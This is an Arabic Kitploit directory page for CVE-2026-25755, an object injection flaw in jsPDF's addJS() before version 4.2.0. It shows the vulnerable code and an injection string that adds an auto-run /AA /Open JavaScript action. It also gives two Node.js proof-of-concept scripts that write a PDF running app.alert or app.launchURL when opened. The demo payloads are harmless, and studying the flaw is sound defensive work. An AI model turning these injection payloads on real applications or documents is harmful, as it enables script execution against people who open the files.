Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
jsPDF-Object-Injection — CVE-2026-25755 ثغرة حرجة في حقن كائنات PDF في jsPDF تسمح للمهاجمين بحقن كائنات PDF عشوائية عبر دالة addJS()، مما يتيح تجاوز صندوق الحماية AcroJS وتنفيذ البرامج النصية تلقائيًا عند فتح ملفات PDF. | Kitploit
أدوات/GitHubGitHub/absholi7ly/jspdf-object-injection
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 ثغرة حرجة في حقن كائنات PDF في jsPDF تسمح للمهاجمين بحقن كائنات PDF عشوائية عبر دالة addJS()، مما يتيح تجاوز صندوق الحماية AcroJS وتنفيذ البرامج النصية تلقائيًا عند فتح ملفات PDF.

عرض المستودع
12منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25755 ثغرة تجاوز الحماية في jsPDF تؤدي إلى حقن الكائنات

نظرة عامة

تم اكتشاف ثغرة حرجة في حقن كائنات PDF (CVE-2026-25755) في jsPDF، وهي مكتبة JavaScript مستخدمة على نطاق واسع لإنشاء مستندات PDF في التطبيقات من جانب العميل. توجد الثغرة في دالة addJS()، مما يسمح للمهاجمين بحقن كائنات PDF عشوائية وتجاوز قيود حماية AcroJS من خلال عدم كفاية تنقية المدخلات.


السبب الجذري

تسمح دالة addJS() في jsPDF للمطورين بتضمين كود JavaScript داخل ملفات PDF المُنشأة. ومع ذلك، قبل الإصدار 4.2.0، فشلت الدالة في تنقية مدخلات المستخدم التي تحتوي على أحرف صياغة PDF خاصة بشكل صحيح.

الكود القابل للاستغلال (قبل الإصدار 4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

ناقل الحقن

تقوم الدالة بدمج مدخلات المستخدم مباشرة في تدفقات كائنات PDF دون تهريب:

  • القوس الافتتاحي (
  • القوس الإغلاقي )
  • الشرطة المائلة العكسية \

يسمح هذا للمهاجمين بإغلاق سياق سلسلة JavaScript قبل الأوان وحقن كائنات PDF عشوائية.

بنية JavaScript في PDF

root@kitploit:~
/JS (app.alert('Hello World'))

حمولة الحقن

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

تدفق كائنات PDF

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     نقطة الحقن - تم تهريب سياق السلسلة

آلية الحقن

الخطوةالإجراءالنتيجة
1) يغلق سلسلة /JS الأصليةيتم إنهاء سياق السلسلة
2>> يغلق كائن PDF الحالييتم كسر بنية الكائن
3/AA << /Open << ...يتم حقن قاموس إجراءات جديد
4تتم إضافة كائنات PDF عشوائيةيتم تحقيق حقن كائن كامل

كود إثبات المفهوم (Node.js)

أنشئ ملفًا باسم exploit.js واكتب فيه ما يلي

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

الحمولة

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
قم بتشغيل node exploit.js

النتيجة: تم إنشاء الملف exploit.pdf في نفس المجلد.

تنزيل الأداة